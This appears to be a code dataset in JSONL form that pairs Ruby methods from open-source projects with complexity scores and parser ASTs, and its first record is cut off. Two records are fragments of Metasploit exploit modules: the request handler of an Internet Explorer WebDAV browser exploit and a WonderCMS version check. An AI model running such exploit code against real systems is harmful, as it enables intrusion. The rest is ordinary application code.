type\":\"lvasgn\",\"children\":[\"view_fields\"]},{\"type\":\"lvasgn\",\"children\":[\"view_excluded_fields\"]}]},{\"type\":\"send\",\"children\":[null,\"sortable_fields\",{\"type\":\"lvar\",\"children\":[\"included_view_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"view_fields\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excluded_fields\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"view_excluded_fields\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"default\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"view_name\"]}]},\"fields\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"view_name\"]}]},\"excluded_field_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excluded_fields\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},{\"type\":\"lvar\",\"children\":[\"excluded_fields\"]}]}]}]}","id":"a3aa849c-be14-4728-9aaa-2a4b0a655d83"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb","start_line":105,"raw_source":"def on_request_uri(cli, request)\n    mytarget = target\n    if target.name == 'Automatic'\n      mytarget = auto_target(cli, request)\n      if (not mytarget)\n        send_not_found(cli)\n        return\n      end\n    end\n\n    # If there is no subdirectory in the request, we need to redirect.\n    if (request.uri == '/') or not (request.uri =~ /\\/[^\\/]+\\//)\n      if (request.uri == '/')\n        subdir = '/' + rand_text_alphanumeric(8 + rand(8)) + '/'\n      else\n        subdir = request.uri + '/'\n      end\n      print_status(\"Request for \\\"#{request.uri}\\\" does not contain a sub-directory, redirecting to #{subdir} ...\")\n      send_redirect(cli, subdir)\n      return\n    end\n\n    # dispatch WebDAV requests based on method first\n    case request.method\n    when 'OPTIONS'\n      process_options(cli, request, mytarget)\n\n    when 'PROPFIND'\n      process_propfind(cli, request, mytarget)\n\n    when 'GET'\n      process_get(cli, request, mytarget)\n\n    when 'PUT'\n      print_status(\"Sending 404 for PUT #{request.uri} ...\")\n      send_not_found(cli)\n\n    else\n      print_error(\"Unexpected request method encountered: #{request.method}\")\n\n    end\n  end","complexity_score":58.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"send\",\"children\":[null,\"auto_target\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/[^/]+/\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subdir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subdir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request for \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\"\\\" does not contain a sub-directory, redirecting to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subdir\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_redirect\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"subdir\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"OPTIONS\"]},{\"type\":\"send\",\"children\":[null,\"process_options\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"mytarget\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND\"]},{\"type\":\"send\",\"children\":[null,\"process_propfind\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"mytarget\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"send\",\"children\":[null,\"process_get\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"mytarget\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PUT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending 404 for PUT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected request method encountered: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]}]}]}]}]}]}]}","id":"48024ebc-db64-4fa2-a9f8-c9b6b94aa6e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wondercms_rce.rb","start_line":82,"raw_source":"def check\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/how-to')\n    })\n    return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200\n\n    return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')\n\n    vprint_status('Target is probably WonderCMS..')\n\n    login\n\n    res = send_request_cgi!({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path)\n    })\n\n    return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200\n\n    html_document = res.get_html_document\n\n    html_document.xpath('//a[@href=\"https://wondercms.com\"]').find { |link| link.text =~ /WonderCMS (\\d.\\d?\\d?.\\d?\\d?)/ }\n\n    version = Rex::Version.new(Regexp.last_match(1))\n\n    return Exploit::CheckCode::Unknown('Unable to get version') unless version\n\n    return Msf::Exploit::CheckCode::Safe(\"WonderCMS #{version} is not affected\") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))\n\n    return Exploit::CheckCode::Vulnerable(\"Version #{version} is affected\")\n  end","complexity_score":46.45,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/how-to\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Cannot connect to the remote host\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"WonderCMS\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"WonderCMS was not detected\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Target is probably WonderCMS..\"]}]},{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Failed to connect\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_document\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_document\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//a[@href=\\\"https://wondercms.com\\\"]\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"text\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"WonderCMS (\\\\d.\\\\d?\\\\d?.\\\\d?\\\\d?)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unable to get version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.4.2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.2.0\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WonderCMS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is not affected\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is affected\"]}]}]}]}]}]}","id":"63d59e27-d8c0-4750-a770-fccad318c0c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb","start_line":159,"raw_source":"def remove_partitioned_foreign_key(source, target = nil, column: nil, name: nil, reverse_lock_order: false)\n          assert_not_in_transaction_block(scope: ERROR_SCOPE)\n\n          # Determine the foreign key name if not provided\n          name = concurrent_partitioned_foreign_key_name(source, column) if name.nil? && column.present?\n\n          raise ArgumentError, 'Either name or column must be specified' if name.nil?\n\n          # Remove foreign key from the partitioned table first\n          # This is important because PostgreSQL doesn't allow dropping inherited constraints\n          # from partitions while they still exist on the parent table\n          with_lock_retries do\n            remove_foreign_key_if_exists(source, target, name: name, reverse_lock_order: reverse_lock_order)\n          end\n\n          # Remove foreign key from each partition (in case they have non-inherited constraints)\n          Gitlab::Database::PostgresPartitionedTable.each_partition(source) do |partition|\n            with_lock_retries do\n              remove_foreign_key_if_exists(partition.identifier, target,\n                name: name, reverse_lock_order: reverse_lock_order)\n            end\n          end\n        end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_partitioned_foreign_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"column\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"reverse_lock_order\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_in_transaction_block\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"const\",\"children\":[null,\"ERROR_SCOPE\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"present?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"concurrent_partitioned_foreign_key_name\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Either name or column must be specified\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"lvar\",\"children\":[\"reverse_lock_order\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartitionedTable\"]},\"each_partition\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"identifier\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"lvar\",\"children\":[\"reverse_lock_order\"]}]}]}]}]}]}]}]}","id":"4d6a27ab-1ee4-45c3-85cf-366904bc09a8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/selects/project_phase.rb","start_line":78,"raw_source":"def helpers\n    @helpers ||= Object.new.extend(ColorsHelper)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@helpers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ColorsHelper\"]}]}]}]}","id":"4bb93080-afda-4cc2-be15-b210233576ee"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/users_controller.rb","start_line":172,"raw_source":"def revoke_admin\n    guardian.ensure_can_revoke_admin!(@user)\n    @user.revoke_admin!\n    StaffActionLogger.new(current_user).log_revoke_admin(@user)\n    render_serialized(@user, AdminDetailedUserSerializer, root: false)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke_admin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_revoke_admin!\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"revoke_admin!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"log_revoke_admin\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"const\",\"children\":[null,\"AdminDetailedUserSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"e968b8a6-66e9-4aee-8005-6a7f22a3134b"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/compiler/children_compiler.rb","start_line":29,"raw_source":"def insert_newlines!(temple, node)\n        (node.line - @lineno).times do\n          temple << [:newline]\n        end\n\n        @lineno = node.line\n      end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_newlines!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"temple\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"line\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@lineno\"]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temple\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"newline\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@lineno\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"line\"]}]}]}]}","id":"a62cf0fa-3675-4f8f-a4e5-98da806e499a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/badge.rb","start_line":72,"raw_source":"def prawn_badge_draw_text_callback(badge_text, offset)\n    # prawn does not support vertical alignment of text fragments, so we need to adjust the y position of the badge\n    ->(text, opts) do\n      opts[:at][1] += offset if text.include? prawn_badge_text_stuffing(badge_text)\n      pdf.draw_text!(text, opts)\n    end\n  end","complexity_score":9.03,"ast_json":"{\"type\":\"def\",\"children\":[\"prawn_badge_draw_text_callback\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"badge_text\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"prawn_badge_text_stuffing\",{\"type\":\"lvar\",\"children\":[\"badge_text\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"at\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"draw_text!\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}","id":"5df886ec-e7f3-4b11-ae2c-662d2d4b052b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/oauth/flows/resource_owner_password_spec.rb","start_line":28,"raw_source":"def fetch_access_token(params)\n    post oauth_token_path, params: params\n    json_response\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_access_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"oauth_token_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"json_response\"]}]}]}","id":"aa053750-aa1b-44eb-9806-fe6c4bceb620"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian.rb","start_line":525,"raw_source":"def is_muting_user?(target_user)\n    @user.muted_user_ids.include?(target_user.id)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"is_muting_user?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"muted_user_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_user\"]},\"id\"]}]}]}","id":"42904170-66a5-40fa-a68a-b31935b3306a"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/credit.rb","start_line":56,"raw_source":"def self.update_cache_columns(user_or_org)\n    user_or_org.update(\n      credits_count: user_or_org.credits.size,\n      spent_credits_count: user_or_org.credits.spent.size,\n      unspent_credits_count: user_or_org.credits.unspent.size,\n    )\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_cache_columns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_or_org\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_or_org\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credits_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_or_org\"]},\"credits\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spent_credits_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_or_org\"]},\"credits\"]},\"spent\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unspent_credits_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_or_org\"]},\"credits\"]},\"unspent\"]},\"size\"]}]}]}]}]}","id":"ee93d210-1bee-481d-81f4-4b635dc880c7"}
